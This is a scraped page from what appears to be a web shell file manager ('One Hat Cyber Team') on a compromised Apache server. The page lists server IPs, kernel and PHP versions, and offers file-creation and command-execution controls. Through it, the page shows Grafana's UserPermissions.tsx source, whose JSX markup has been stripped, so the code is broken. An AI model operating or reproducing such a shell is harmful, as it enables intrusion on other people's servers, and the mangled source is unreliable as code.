⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.72
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
features
/
admin
/
View File Name :
UserPermissions.tsx
import { css } from '@emotion/css'; import React, { useState } from 'react'; import { GrafanaTheme2 } from '@grafana/data'; import { ConfirmButton, RadioButtonGroup, Icon, useStyles2 } from '@grafana/ui'; import { contextSrv } from 'app/core/core'; import { ExternalUserTooltip } from 'app/features/admin/UserOrgs'; import { AccessControlAction } from 'app/types'; interface Props { isGrafanaAdmin: boolean; isExternalUser?: boolean; lockMessage?: string; onGrafanaAdminChange: (isGrafanaAdmin: boolean) => void; } const adminOptions = [ { label: 'Yes', value: true }, { label: 'No', value: false }, ]; export function UserPermissions({ isGrafanaAdmin, isExternalUser, lockMessage, onGrafanaAdminChange }: Props) { const [isEditing, setIsEditing] = useState(false); const [currentAdminOption, setCurrentAdminOption] = useState(isGrafanaAdmin); const onChangeClick = () => setIsEditing(true); const onCancelClick = () => { setIsEditing(false); setCurrentAdminOption(isGrafanaAdmin); }; const handleGrafanaAdminChange = () => onGrafanaAdminChange(currentAdminOption); const canChangePermissions = contextSrv.hasPermission(AccessControlAction.UsersPermissionsUpdate) && !isExternalUser; const styles = useStyles2(getTooltipStyles); return (
Permissions
Grafana Admin
{isEditing ? (
) : (
{isGrafanaAdmin ? ( <>
Yes > ) : ( <>No> )}
)}
{canChangePermissions && (
Change
)} {isExternalUser && (
)}
); } const getTooltipStyles = (theme: GrafanaTheme2) => ({ lockMessageClass: css` display: flex; justify-content: flex-end; font-style: italic; margin-right: ${theme.spacing(0.6)}; `, });